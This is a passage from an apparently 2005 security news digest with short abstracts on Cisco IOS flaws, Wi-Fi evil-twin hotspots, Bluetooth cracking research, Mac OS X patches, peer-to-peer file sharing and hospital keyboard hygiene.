Several denial-of-service vulnerabilities have been discovered in Cisco's Internet Operating System (IOS). A remote attacker may be able to cause an affected device to reload the operating system. Although the underlying causes of these three vulnerabilities is different, in each case a remote attacker could cause an affected device to reload the operating system. This creates a denial-of-service condition since packets are not forwarded through the affected device while it is reloading. Repeated exploitation of these vulnerabilities would result in a sustained denial-of-service condition. Since devices running IOS may transit traffic for a number of other networks, the secondary impacts of a denial of service may be severe. Cisco has updated versions of its IOS software to address these vulnerabilities. Additional information is available on the US-CERT Website.

24.6 WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-01-03 **WiFi Vonage VoIP voice over IP**

NewsScan; http://www.usatoday.com/tech/news/2005-01-03-wifi-phone_x.htm

VONAGE TO OFFER WI-FI INTERNET PHONE CALLS

Vonage, the No. 1 Internet phone company, is offering its subscribers a wireless Wi-Fi phone that can make calls over the Internet at homes or at public Wi-Fi hot spots. A phone will cost around \$100. Wi-Fi calls are essentially free, in contrast to cell phone calls, and customers will plug a regular phone into an adapter linked to a broadband Internet line. Vonage will then turn the calls into data that travel by Internet before being converted back to voice at the other end. (USA Today 3 Jan 2005)

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-01-13 **WiFi security wireless WiMax Bluetooth**

NewsScan; http://www.theregister.com/2005/01/13/wi_fi_paint/

PAINT ON A LITTLE WI-FI SECURITY

Tired of worrying whether your wireless hotspot is hosting "drive-by" users? Force Field Wireless has developed a do-it-yourself DefendAir paint "laced with copper and aluminum fibers that form an electromagnetic shield, blocking most radio waves and protecting wireless networks." One coat of the water-based paint "shields Wi-Fi, WiMax and Bluetooth networks operating at frequencies from 100 megahertz to 2.4 gigahertz," while two or three applications are "good for networks operating at up to five gigahertz." Force Field Wireless warns that the paint must be applied carefully -- too little, and the radio waves will "leak"; too much and you risk hindering the performance of radios, televisions and cell phones. And while the only color available is a dreary gray, DefendAir can also be used as a primer so you can paint over it with your favorite hue. (The Register 13 Jan 2005)

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-01-20 **researchers bogus Wi-Fi access points wireless devices personal information cybercrime technology**

EDUPAGE; <http://news.bbc.co.uk/2/hi/technology/4190607.stm>

RESEARCHERS WARN OF BOGUS WI-FI ACCESS POINTS

Researchers at Britain's Cranfield University are warning users of wireless computing devices about bogus Wi-Fi access points that can steal personal information. The so-called evil twin hotspots are set up near existing access points, where they can hijack signals sent between wireless devices and legitimate access points. Dr. Phil Nobles, a expert on cybercrime and wireless technology at Cranfield, said, "Because wireless networks are based on radio signals, they can be easily detected by unauthorized users tuning into the same frequency." Security experts said that setting up adequate protections for access points, as well as installing personal firewalls on wireless devices, can prevent users from being victimized by the unauthorized hotspots.

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*

2005-01-20 **Wi-Fi privacy concern wireless point hot spot base station masquerading sensitive data interception signal strength**

DHS IAIP Daily; <http://news.bbc.co.uk/1/hi/technology/4190607.stm>

FAKE WIRELESS ACCESS POINTS OR "EVIL TWINS" WARNED FOR WIRELESS INTERNET

People using wireless high-speed Internet (Wi-Fi) are being warned about fake hotspots, or access points. The latest threat, nicknamed evil twins, pose as real hotspots but are actually unauthorized base stations, say experts at Cranfield University in the U.K. Once logged onto an Evil Twin, sensitive data can be intercepted. "Users can also protect themselves by ensuring that their Wi-Fi device has its security measures activated," said Professor Brian Collins, head of information systems at Cranfield University. In most cases, base stations straight out of the box from the manufacturers are automatically set up with the least secure mode possible. Cybercriminals who try to glean personal information using the scam, jam connections to a legitimate base station by sending a stronger signal near to the wireless client.

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*
2005-01-28 **social engineering shoulder surfing confidential data theft threat greater Wi-Fi evil twin malicious hot spot**

DHS IAIP Daily; <http://www.techweb.com/wire/mobile/57704010>

LOW-TECH WAYS TO STEAL CONFIDENTIAL DATA WORSE THAN “EVIL TWIN” THREAT

You're more likely to have secrets stolen at a coffee shop from someone snooping over your shoulder or using wireless sniffing software than from sophisticated hackers deploying a so-called "Evil Twin" access point, said Jay Heiser, a U.K.-based research director with Gartner. "Unless the Wi-Fi session is encrypted in some way, which by default it's not, then all of the traffic is available for perusal by anyone with a wireless-enabled laptop and the right software." Heiser was reacting to an announcement last week by academic researchers in Britain who warned that rogue wireless access points -- dubbed "Evil Twin" -- posed a security risk to users in public places like coffee shops and airports where wireless Internet service is available. The lowest-tech way to lose confidential data while at a public hotspot -- which by definition are not encrypted -- is to be a victim of "shoulder surfing," where someone simply peeks over the shoulder of the user to watch for passwords and login names.

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*
2005-02-21 **mobile phone virus Cabir US UK China Bluetooth Philippines standards international widespread infection**

NewsScan; <http://www.nytimes.com/reuters/technology/tech-tech-security.html>

MOBILE PHONE VIRUS INFILTRATES U.S.

The world's first mobile phone virus "in the wild," dubbed Cabir, has migrated to the U. S. from its point of origin in the Philippines eight months ago, infecting phones in a dozen countries along the way. Experts say the mobile-phone virus threat will increase as virus-writers become more sophisticated and phones standardize technologies that will make it easier for viruses to spread not just across devices, but the whole industry. Up until now, disparate technical standards have worked against fast-moving virus infiltration, but Cabir has now been found in countries ranging from the China to the U.K., spread via Bluetooth wireless technology. The biggest impact of the relatively innocuous virus is that it's designed to drain mobile phone batteries, says Finnish computer security expert Mikko Hypponen. Last November, another virus known as "Skulls" was distributed to security firms as a so-called "proof-of-concept alert, but was not targeted at consumers. (Reuters/New York Times 21 Feb 2005)

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*
2005-03-01 **wireless networking Wi-Fi security concern radio frequency identification RFID**

DHS IAIP Daily; <http://www.fcw.com/fcw/articles/2005/0228/web-wireless-03-01-05.asp>

WIRELESS STRUGGLES WITH SECURITY

Agency officials in charge of setting policies for wireless use and related technologies such as radio frequency identification (RFID) still have a difficult job. Technologies are evolving, as are the security standards that they use, and employees are not always judicious about using their own wireless devices on an agency network. What employees see as simple conveniences -- such as using a handheld device to send and receive e-mail -- can cause nightmares for security officials, according to panelists speaking today at the E-Gov Institute's Wireless/RFID conference in Washington, D.C. "Even a simple thing like putting a password on a cell phone is hard to sell" to employees, said Jaren Doherty, director of information security and awareness at the National Institutes of Health. "But it's important if the phone is also enabled to get your e-mail or log on to the Internet."

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*
2005-04-13 **radio-controlled wireless land mines identification authentication I&A control
encryption vulnerabilities risks warfare battlefield**

RISKS; http://www.theregister.co.uk/2005/04/12/laptop_triggered_landmine/ 23 84

RADIO-CONTROLLED LAND MINES POSE SECURITY RISKS

Rob Slade pointed out that the new radio-controlled land mines pose significant security risks. "There are very few details provided in regard to the new mines. There appear to be different types. They have some kind of wireless capability. They have remote detonation capability."

He added,

"Based upon what is said, we can determine some additional aspects of the technology, as well as surmise more. They likely communicate via radio frequencies. They will have some kind of (likely minimal) software for reception of signal, authentication, and activation. (Deactivation is likely accomplished by activating the mine when [hopefully] nobody is around.) The mines are probably individually addressable: blowing an entire minefield for a single intrusion would not seem to be an effective use of resources. Radio communication would imply that either the mines are battery powered, or that they contain an antenna and transponder. Given the purpose and use of mines, it is likely that there is an alternate and more standard triggering mechanism such as pressure plates or tripwires that does not require wireless activation."

....

"The potential risks are numerous. With radio communications mines that are buried, or placed under or behind metal or water, may fail to detonate when needed, or deactivate. Any kind of software is, of course subject to failures (which, in this case, could be literally catastrophic). Authentication would be a fairly major issue: sniffing of radio traffic could easily determine commands, replay attacks, static passwords, or number sequences. (Note that the mines require "minimal training" for use.) Failure of authentication could, again, result in failure of either detonation or deactivation. Battery failure would be an issue and therefore transponders are more likely, but transponders would be more difficult to troubleshoot. (Should the transponders retransmit? That would assist with finding and disarming mines, but broadcasting a signal with known improper authentication would result in a means of determining the location of mines.)"

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*
2005-04-25 **hacker infiltration attack information technology IT conference London wireless hot
spot Wi-Fi evil twin attack steal sensitive information theft**

DHS IAIP Daily; <http://news.zdnet.co.uk/internet/security/0,39020375,39195956,0.htm>

HACKERS ATTACK IT CONFERENCE IN LONDON

Hackers infiltrated an IT exhibition last week and attacked delegates' computers with a new type of wireless attack. Security experts attending the Wireless LAN Event in London last Wednesday, April 20, found that anonymous hackers in the crowd had created a Website that looked like a genuine login page for a Wi-Fi network, but which actually sent 45 random viruses to computers that accessed it. Spencer Parker, a director of technical solutions at AirDefense, said that the hackers walked around the exhibition carrying a Linux-based laptop running software that turned it into a wireless access point. The technique has evolved from an "evil twin" attack, where hackers host fake log-in Websites at commercial Wi-Fi hotspots. This was originally used to lure people into typing in credit card details onto the Web page, so the hacker could steal them.

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*
2005-04-28 **Wireless Wi-Fi leader alliance security discussion WEP**

DHS IAIP Daily; <http://www.vnunet.com/news/1162761>

WIRELESS LEADERS FORM ALLIANCE TO ADDRESS SECURITY

BT, Cisco and Intel announced a formal alliance at InfoSec Europe to promote better security for users of wireless networks. The trio are concerned that fears about security will harm the rollout of wide-scale wireless networks, and have produced advice sheets for businesses, homes and public Wi-Fi access points. BT, Cisco and Intel also agreed to standardize on the Wireless Encryption Protocol, and to implement stronger encryption and identity systems as soon as they are finalized.

<i>Category</i> 24.6	<i>WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax</i>		
2005-05-06	laptop computer car breakins vulnerability identification target wireless Bluetooth		
RISKS		23	87

WAR DRIVING FOR TARGETS OF THEFT

Andrew Nicholson reported on an interesting finding while searching for his lost rental car in a big parking lot at Disney World. Seems that all of the breakins reported to DW security involved laptops equipped with Bluetooth responders. Nicholson wrote, "Apparently if you just suspend the laptop the bluetooth device will still acknowledge certain requests allowing the thief to target only cars containing these laptops."

<i>Category</i> 24.6	<i>WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax</i>		
2005-05-17	US Government Accounting Office report wireless network security concern		
DHS IAIP Daily; http://www.gao.gov/cgi-bin/getrpt?GAO-05-383	INFORMATION SECURITY: FEDERAL AGENCIES NEED TO IMPROVE CONTROLS OVER WIRELESS NETWORKS (REPORT)		

The Government Accountability Office (GAO) was asked to study the security of wireless networks operating within federal facilities. GAO found that federal agencies have not fully implemented key controls such as policies, practices, and tools that would enable them to operate wireless networks securely. Further, tests of the security of wireless networks at six federal agencies revealed unauthorized wireless activity and "signal leakage"—wireless signals broadcasting beyond the perimeter of the building and thereby increasing the networks' susceptibility to attack. Without implementing key controls, agencies cannot adequately secure federal wireless networks and, as a result, their information may be at increased risk of unauthorized disclosure, modification, or destruction. GAO recommends that the Director of the Office of Management and Budget (OMB) instruct the agencies to ensure that wireless network security is incorporated into their agencywide information security programs in accordance with the Federal Information Security Management Act. OMB generally agreed with the contents of this report. Highlights: <http://www.gao.gov/highlights/d05383high.pdf>

<i>Category</i> 24.6	<i>WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax</i>		
2005-05-17	GAO report Wi-Fi security criticism government agencies unauthorized access NIST OMB		
EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=8521359	GAO WARNS OF INSECURE WI-FI		

A report released this week by the Government Accountability Office (GAO) strongly criticizes the Wi-Fi security of federal agencies. Wireless networks with no security or with poorly configured security pose significant risks of unauthorized access. Hackers within range of the network could access the network and potentially other computers on the network. Despite guidelines issued by the National Institute for Standards and Technology stating that government agencies should forgo wireless networks unless their security can be ensured, 13 of 24 major agencies do not require security for wireless networks, and 9 agencies do not have wireless-security plans. Investigators from the GAO monitored six agencies and detected Wi-Fi signals outside all of them. The GAO report recommends that the Office of Management and Budget require all federal agencies to use a variety of security measures, including encryption and virtual private networks. Reuters, 17 May 2005

<i>Category</i> 24.6	<i>WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax</i>		
2005-06-04	Bluetooth wireless networking security breach weakness vulnerability exploit demonstration		
RISKS; http://www.newscientist.com/article.ns?id=dn7461	METHOD DISCOVERED OF CRACKING BLUETOOTH SECURITY		

Avishai Wool and Yaniv Shaked of Tel Aviv University in Israel have demonstrated a method of cracking Bluetooth security. Every Bluetooth device broadcasts its ID code to everything in the vicinity. The method is to pick up an ID code, then send a message to another device, spoofing the ID code, and telling it that the 'link key' used for encrypting communication has been 'forgotten'. This forces the two devices to go through a 'pairing' exercise to establish another link key. (Normally this is done only on the first occasion on which two devices communicate with each other.) The attacker can then eavesdrop on the messages exchanged in the pairing session, and analyse these using software which implements the Bluetooth algorithm. The four-digit PIN (set on each device by the legitimate user) can be cracked by 'brute force'. The link key can then be derived, and the attacker can then communicate with either device by pretending to be the other.

[Abstract contributed to RISKS by Pete Mellor]

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*
2005-07-12 **wireless attack threat "phlooding" overloading AirMagnet dictionary attacks flood operations VPN firewall businesses**

DHS IAIP Daily; <http://www.ebcvg.com/articles.php?id=802>

NEW WIRELESS ATTACK DISCOVERED

The security threat of wireless networks to the enterprise keeps growing, this time with the discovery of a new wireless attack. Dubbed "phlooding," this new exploit targets businesses central authentication server with the goal of overloading it and cause a denial-of-service attack. The "phlooding" attack, discovered by AirMagnet, describes a group of simultaneous but geographically distributed attacks that targets wireless access points with login requests using multiple password combination in what are known as dictionary attacks. The multiple requests create a flood of authentication requests to the company's authentication server, which could slow down logins and potentially interfere with broader network operations, since many different users and applications often validate themselves against the same identity management system. Phlooding could effectively block broadband VPN or firewall connections that use a common authentication server to verify an incoming user's identity, making it temporarily impossible for employees to access their corporate network. Businesses with multiple office locations served by a single identity management server could be particularly vulnerable to phlooding attacks.

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*
2005-10-10 **wireless networks Wi-Fi consortium standards speed range**

EDUPAGE; http://www.usatoday.com/tech/wireless/2005-10-10-wi-fi-standards_x.htm

WIRELESS COMPANIES FORM NEW GROUP

A new alliance among 27 technology companies intends to accelerate the development of the 802.11n standard for wireless transmission. Members of the Enhanced Wireless Consortium include Broadcom, Intel, Cisco, Lenovo, Sony, and Toshiba. The standard promises speeds of between two and ten times faster than current wireless technologies, as well as increased range, while being compatible with products based on the 802.11a, 802.11b, and 802.11g standards. With the new standard, less capacity is used to verify that transmissions are accurate, leaving room for the speed and distance improvements. Members of the consortium said they expect to have drafts of the standard available by early 2006 and the standard ratified by late 2006, well ahead of the timeline if it followed traditional procedures. Organizers said they hope makers of consumer electronics will take advantage of the early release of drafts of the 802.11n standard to develop products that can be available to consumers before ratification. USA Today, 10 October 2005

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*
2005-11-30 **wireless Internet Wi-Fi hurricane Katrina disaster New Orleans municipal network equipment donations**

DHS IAIP Daily;
http://news.yahoo.com/s/nm/20051130/wr_nm/hurricanes_wifi_dc;_ylt=Ave0Wgcuh0iCd_qtk2hgWVItBAF;_ylu=X3oDMTA5aHJvMDdwBHNlYwN5bmNhA--

HURRICANE-RAVAGED NEW ORLEANS GETS WI-FI

Hurricane-stricken New Orleans is largely destroyed and abandoned, but city officials said on Tuesday, November 29, it will soon have universal wireless Internet service. A free, municipally run Wi-Fi system has begun operation in the French Quarter and central business district and should cover the entire city within a year, Mayor Ray Nagin said. "We are among the first cities to feature a citywide wireless network and that's especially important to the recovery of our community," he said. Much of the equipment for the system has been donated by private companies.

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*
2005-12-05 **research study SRI wireless data communications safety US Canada technology experiment**

DHS IAIP Daily; <http://www.telematicsjournal.com/content/newsfeed/5602.html>

U.S.-CANADA TECHNOLOGY EXPERIMENT ASSESSES SECURE WIRELESS DATA COMMUNICATION ENHANCEMENTS

SRI International Monday, December 5, announced the completion of tests that aim to improve the security of wireless data communications among domestic public safety, emergency preparedness, and law enforcement agencies, as well as for use in cross-border situations. The test exercise was commissioned by the U.S. Department of Homeland Security Science and Technology Directorate and its Cyber Security Research and Development Center. The test was conducted in late October in partnership with Defense Research and Development Canada (an agency of the Canadian Department of National Defense). The trial assessed various technologies developed by Voltage Security, CipherTrust, and Research in Motion/RIM. The technologies were evaluated under operationally relevant conditions, using repeatable procedures, automated tools, and infrastructure and instrumentation that could be refined and re-used to support future, related activities. "Recent natural disasters emphasize a critical need for secure mobile data communications in cross-agency and cross-border environments. This exercise proves that commercially available, secure mobile communications are available to government agencies," said Douglas Maughan, program manager of the DHS Cyber Security R&D Center. Exercise participants discussed the trial, its results, and the benefits of deploying a secure wireless solution for data communications at the InfoSecurity New York conference Wednesday, December 7.

Category 24.6 *WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax*
2005-12-06 **Network Chemistry wireless threat database resource**

DHS IAIP Daily;
http://www.newsfactor.com/story.xhtml?story_id=01300000B4F7

WIRELESS THREAT DATABASE DEBUTED

Wireless security vendor Network Chemistry has announced the creation of an online Wireless Vulnerabilities and Exploits database intended to be a universal collection point for credible information about security threats affecting multiple wireless technologies, including 802.11 Wi-Fi, CDMA 1X EV-DO, EDGE, Bluetooth, and RFID, as well as emerging protocols like HSDPA and 802.16 WiMAX. The database is co-sponsored by Network Chemistry, wireless LAN training and certification firm CWNP, and the Center for Advanced Defense Studies, a non-profit, non-governmental institute. Brian de Haaff, vice president of product management and marketing at Network Chemistry, said of the database, "We hope it grows into an industry initiative. We've been talking quite a bit to other network security people and carrier people about it. No one has ever tried before to collect this kind of information in one place." Wireless Vulnerabilities and Exploits database:
<http://www.wirelessve.org/>

24.7 SWDR (Software-defined radio)

Category 24.7

SWDR (*Software-defined radio*)

2005-02-16

P2P peer-to-peer RIAA radio Internet broadcast legal law

NewsScan; <http://online.wsj.com/article/0>

'PEER-TO-PEER' RADIO PASSES RIAA SCRUTINY

With the pressure on peer-to-peer file-sharing networks to stop enabling illegal musicswapping, several companies are trying to find ways to squeeze P2P technology into a legal framework. Mercora offers users a way to create playlists of their favorite songs and then "broadcast" them over the Internet to fellow users. When the "broadcasters" aren't online, neither are their "radio stations." America Online offers a similar service called Shoutcast, and Live365 charges amateur broadcasters a fee to upload their music to a central server, which then sends the music out to listeners' PCs. A London Web site, Last.fm, takes an "affinity sharing" approach, using a list of each user's favorite music to find "neighbors" with similar tastes. It then creates a customized broadcast for each listener, based on what their neighbors are listening to. Because in these cases the music files are temporarily "streamed" to listeners' PCs instead of taking up residence permanently on their hard drives, the Recording Industry Association of America has given its blessing and is working with some of the companies to ensure they stay within legal boundaries. KEXP executive director Tom Mara says traditional radio stations can learn a lot from these grassroots efforts. "It's no longer a case of a person in a booth broadcasting to people anonymously. Now we need to figure new modes of interaction -- not only between the listener and the station, but between listeners." (Wall Street Journal 16 Feb 2005)

24.8 MAC OS

Category 24.8 **MAC OS**

2005-01-06 **Apple data leakage confidentiality Thinksecret.com intellectual property lawsuit non-disclosure agreement NDA**

NewsScan;
<http://www.reuters.co.uk/newsArticle.jhtml?type=internetNews&storyID=7250030§ion=news&src=rss/uk/internetNews>

TO PROTECT ITS "DNA," APPLE SUES THINKSECRET.COM

Apple Computer is suing the Web site thinksecret.com for allegedly distributing Apple trade secrets by leaking details of upcoming products. The suit alleges that Think Secret owner Nick dePlume and other unnamed individuals posted information on thinksecret.com that could only have been obtained by someone who had signed a confidentiality agreement with Apple. A statement from Apple says: "Apple's DNA is innovation, and the protection of our trade secrets is crucial to our success." But dePlume says he's confident that Think Secret's reporting is consistent with the rights and privileges granted by the First Amendment. (Reuters 6 Jan 2005)

Category 24.8 **MAC OS**

2005-04-20 **Apple iSync local buffer overflow vulnerability Mac OS X command execution attack update issued**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0366>

APPLE ISYNC "MROUTER" LOCAL BUFFER OVERFLOW VULNERABILITY

A new vulnerability was identified in Apple Mac OS X, which could be exploited by local attackers to obtain elevated privileges. This flaw is due to a buffer overflow error in the iSync helper tool mRouter when handling specially crafted command line arguments, which can be exploited by a malicious user to execute arbitrary commands with "root" privileges. Security Update 2005-004: <http://wsidcar.apple.com/cgi-bin/nph-reg3rdpty1.pl/product=05661&platform=osx&method=sa/SecUpd2005-004Pan.dmg>

Category 24.8 **MAC OS**

2005-05-16 **US CERT vulnerability alert Apple Mac OS X**

DHS IAIP Daily; <http://www.us-cert.gov/cas/techalerts/TA05-136A.html>

APPLE MAC OS X IS AFFECTED BY MULTIPLE VULNERABILITIES

Apple has released Security Update 2005-005 to address multiple vulnerabilities affecting Mac OS X version 10.3.9 (Panther) and Mac OS X Server version 10.3.9. The most serious of these vulnerabilities may allow a remote attacker to execute arbitrary code. Impacts of other vulnerabilities addressed by the update include disclosure of information and denial of service. Apple advisory and updates: <http://docs.info.apple.com/article.html?artnum=301528>

Category 24.8 **MAC OS**

2005-06-08 **Apple MAC OS X folder permission flaw privilege escalation**

DHS IAIP Daily; <http://docs.info.apple.com/article.html?artnum=301742>

MAC OS X FOLDER PERMISSION FLAW MAY LET LOCAL USERS GAIN ELEVATED PRIVILEGES

A vulnerability was reported in Mac OS X in the enforcement of folder permissions. A local user may be able to gain elevated privileges. A local user can exploit a race condition in assignment of permissions on files in the system's cache folder and the Dashboard system widgets. A local user may be able to write to files in those directories. See Source link below for updates.

Category 24.8 *MAC OS*

2005-06-09 **Apple MAC OS X fix patch flaw arbitrary command execution denial-of-service privilege escalation**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0712>

APPLE SECURITY UPDATE FIXES MULTIPLE MAC OS X VULNERABILITIES

Apple has released a security patch to correct multiple vulnerabilities affecting Mac OS X. These flaws could be exploited by remote or local attackers to execute arbitrary commands, cause a denial of service, obtain elevated privileges, or disclose sensitive information. Vendor updates are available. Mac OS X 10.3.9 Update (2005-006): http://www.apple.com/support/downloads/securityupdate2005006_macosx1039.html and Mac OS X 10.4.1 Update (2005-006): http://www.apple.com/support/downloads/securityupdate2005006_macosx1041.html

Category 24.8 *MAC OS*

2005-08-16 **Apple MAC OS X patches security update**

DHS IAIP Daily; http://www.techtree.com/techtree/jsp/article.jsp?article_id=5484&cat_id=582

APPLE RELEASES OS X PATCHES

Apple has released a security update for Mac OS X, which addresses several potential vulnerabilities in the operating system. The update incorporates patches for AppKit, which prevent malicious users from executing malware stored in carefully crafted, rich-text files. The Bluetooth code is modified, to ensure that devices' requirement for an authenticated connection is reported correctly. The security update also fixes "algorithmic complexity attack" vulnerabilities in the OS' CoreFoundation code. The update includes patches for the Directory Services code as well. Kerberos has been updated to version 5.5.1, which prevents multiple buffer overflows resulting in remote compromise of a KDC or denial of service. The Loginwindow application which handles user accounts, has been repaired to prevent a local user who knows the password for two accounts, from being able to log into a third account without knowing the password. Safari is patched to prevent arbitrary command execution, as also sending of information submitted in a form to the wrong Website. As of now, two updates are available, one for Mac OS X 10.4.2 and the other for 10.3.9. Both are further sub-divided into server and client versions. Apple Website: <http://docs.info.apple.com/article.html?artnum=61798>

24.9 Peer-to-peer networking

Category 24.9 *Peer-to-peer networking*

2005-01-11 **file sharing BitTorrent RSS P2P peer-to-peer Vidora**

NewsScan; <http://www.wired.com/news/digiwood/0>

NEW SOFTWARE FINDS VIDEO IN A SNAP

A 20-year-old student at Carleton University in Ottawa, Canada, has developed a software application that combines P2P file sharing software BitTorrent with RSS (Really Simple Syndication) software used for blogging. While other software that does the same thing exists, Sajeeth Cherian notes that his Videora application is less complicated and doesn't "demand computer enthusiasts' knowledge." Once a user downloads Videora, the program automatically installs BitTorrent and downloads the RSS feeds. Users just type in a title or keyword, such as "amateur tsunami videos," and the program will automatically create a list of possibilities, any of which can be downloaded by double-clicking on the file. "We extract the BitTorrent link from the RSS feed, and if the title matches what you are looking for, we start downloading the BitTorrent file from the RSS link," says Cherian. The Videora software is available free or users can pay \$23 for a version with additional features. (Wired.com 11 Jan 2005)

Category 24.9 *Peer-to-peer networking*

2005-01-21 **P2P peer-to-peer BBC Hollywood music video control business models**

NewsScan; <http://news.bbc.co.uk/1/hi/technology/4191581.stm>

THE FUTURE OF P2P

While Hollywood and the music industry has spent the last few years demonizing peer-to-peer networks, big business is eyeing the technology's potential for "commoditization" (translation: \$\$\$). "Old media always tries to stop new media. When they can't stop it, they try to control it. Then they figure out how to make money and they always make a lot of money," says StreamCast Networks president Michael Weiss. P2P networks can be used to share any type of file -- photos, software, licensed music and other digital content. The BBC has already embraced the technology, and will be using P2P to offer most of its programs for download this year. Even some commercial entertainment companies are working on business models that would enable them to make money off of it, such as paid-for-pass-along, in which firms receive money each time a file is shared. (BBC News 21 Jan 2005)

Category 24.9 *Peer-to-peer networking*

2005-01-25 **music piracy artists P2P peer-to-peer Supreme Court**

NewsScan; http://www.usatoday.com/tech/news/2005-01-25-riaa-wed-usat_x.htm

ARTISTS AGAINST MUSIC PIRACY

The U.S. Attorney General and the state attorneys general will have some celebrity allies in their effort to convince the U.S. Supreme Court to overturn a lower-court Internet file-sharing decision. Music stars rallying against file-sharing software's threat to copyright include the Eagles, the Dixie Chicks, Bonnie Raitt, Sheryl Crow, Stevie Nicks, Tom Jones and Beach Boys founder Brian Wilson. Don Henley of the Eagles says, "There is no more important case for the future of our business. These systems promote copyright violations on an unprecedented scale." But Fred von Lohmann, a lawyer representing the Grokster file-sharing service, says: "All the prominent movie stars of the day talked about how the VCR was the death of Hollywood. The court wasn't fooled then by the parochial interests of one industry, and it won't be now." (USA Today 25 Jan 2005)

Category 24.9 *Peer-to-peer networking*

2005-03-15 **LimeWire Gnutella client peer-to-peer P2P vulnerabilities file disclosure privilege escalation attack**

DHS IAIP Daily; <http://www.securityfocus.com/archive/1/393146?ref=rss>

LIMEWIRE GNUTELLA CLIENT TWO VULNERABILITIES

LimeWire client contains two vulnerabilities that allow a remote user access to many or all files on a user's machine. These vulnerabilities result from inappropriate handling of "resource get" requests and "magnet" requests. Gnutella "push style" requests are not vulnerable, so a firewall that blocks access to the magnet port blocks the attack. The files accessible to a remote attacker include all of the user's private, local files, and any file on the machine if the user has administrator privileges. Upgrade to LimeWire version 4.8.0: <http://www.limewire.com/english/content/home.shtml>

Category 24.9

Peer-to-peer networking

2005-06-16

peer-to-peer P2P file music movie software illegal downloading BitTorrent spyware adware infection threat

EDUPAGE; http://news.com.com/2100-7349_3-5750601.html

BITTORRENT THE NEW SOURCE FOR SPYWARE AND ADWARE

BitTorrent downloads have become widely infected with adware and spyware, according to observers. Although functionally different from P2P services, BitTorrent has become a popular tool for locating and downloading music, video, and computer game files. Chris Boyd, operator of the Vital Security Web site, said he has uncovered many instances both of adware and of spyware being included in BitTorrent downloads. In most cases, users were prompted to download the software with instructions implying that the desired download file would not function without the extra software. Alex Eckelberry, president of Sunbelt Software, maker of antispyware software, called the BitTorrent situation "one of the most egregious spyware infestations that we have seen." He said the programs being installed on users' computers will flood them with unwanted pop-up ads and could result in overall system instability. CNET, 16 June 2005

24.B Robust systems (hw / sw)

<i>Category</i>	24.B	<i>Robust systems (hw / sw)</i>
2005-04-29		computer keyboard equipment dirty filthy infected bacteria culture sanitize disinfect
RISKS		23 87
COMPUTER KEYBOARDS A VECTOR FOR BACTERIAL INFECTION IN HOSPITALS		

Ken Knowlton reported on new findings about a different sort of infection risk in computer equipment:

"Computers are making hospitals more dangerous, new research suggests. Computer keyboards fester with colonies of bacteria, which can easily spread from the medical personnel who use them to the patients they treat. Some hospitals now have computers in every patient room, creating even more opportunities for contamination. Researchers at Northwestern Memorial Hospital in Chicago found that the types of bacteria commonly found in hospitals -- some resistant to antibiotics -- could survive on a keyboard for 24 hours. Simply cleaning the computers with soap and water didn't make a difference. Using a strong disinfectant did kill the germs -- but it also damaged the computers. 'The difficulty with keyboards is you can't pour bleach on them,' Dr. Allison McGreer of Toronto's Mount Sinai Hospital tells The Canadian Press. 'They don't work so well when you do that.' Because it's nearly impossible to keep keyboards sterile, researchers say, the onus is on doctors and nurses to wash their hands vigorously and often." [Excerpted from *The Week*, 29 May 2005]

[MK notes that there is a tremendous market here for an enterprising company to manufacture sterilizable computer equipment, much as some manufacturers make military-grade field equipment. Sterilization could involve special materials in combination with special disinfectants especially chosen to be safe both for people and for the computer gear.]

<i>Category</i>	24.B	<i>Robust systems (hw / sw)</i>
2005-08-09		software quality assurance QA system design robust resistance fraud ethics third-world intellectual property rights open-source proprietary code design
RISKS; http://www.spectrum.ieee.org/aug05/1699		24 01
ROBUST SYSTEMS DESIGN FOR THIRD-WORLD APPLICATIONS		

There is an interesting article in the August 2005 issue of _IEEE Spectrum_ [by G. Pascal Zachary] on the above subject. [Hermann] Chinery-Hesse runs a very successful software business in Ghana. Some of the high points:

- * Software that is lean and efficient, so it runs well on old PCs such as 386/486. These are affordable in Ghana.
- * Software design for robustness under third-world conditions. For example, frequent writes to disk to minimize work lost if the power goes off, as it frequently does.
- * Rather extreme measures to protect proprietary software, such as updates installed in personal visits by software company employees. This to cope with conditions in a country where any sense of ethics is practically nonexistent.
- * Shunning of open source software, on the grounds that having the source makes it too easy for unscrupulous users to modify the code so as to line their own pockets.

This last item could well be criticized as security through obscurity. Surely the incentives are there for users to make a considerable effort to tamper with closed source proprietary software. One could argue that open source software would be easier to audit for unauthorized modifications. But then who audits the auditors? And how can they be sure that the code actually running in the machine is accurately represented by the source code they can see.

This suggests a larger research topic: how can we make computer systems that are guaranteed to "work right" when they are to be installed in a den of thieves? Seems like this has applicability to the problem of electronic voting systems in the U.S.

[Abstract and comments by J. H. Haynes]

25.1 Remote control, RATs, reprogramming, auto-updates

Category 25.1

Remote control, RATs, reprogramming, auto-updates

2005-01-20

cellphone phone future remote-control multi-function devices

NewsScan; http://www.latimes.com/technology/ats-ap_technology12jan20

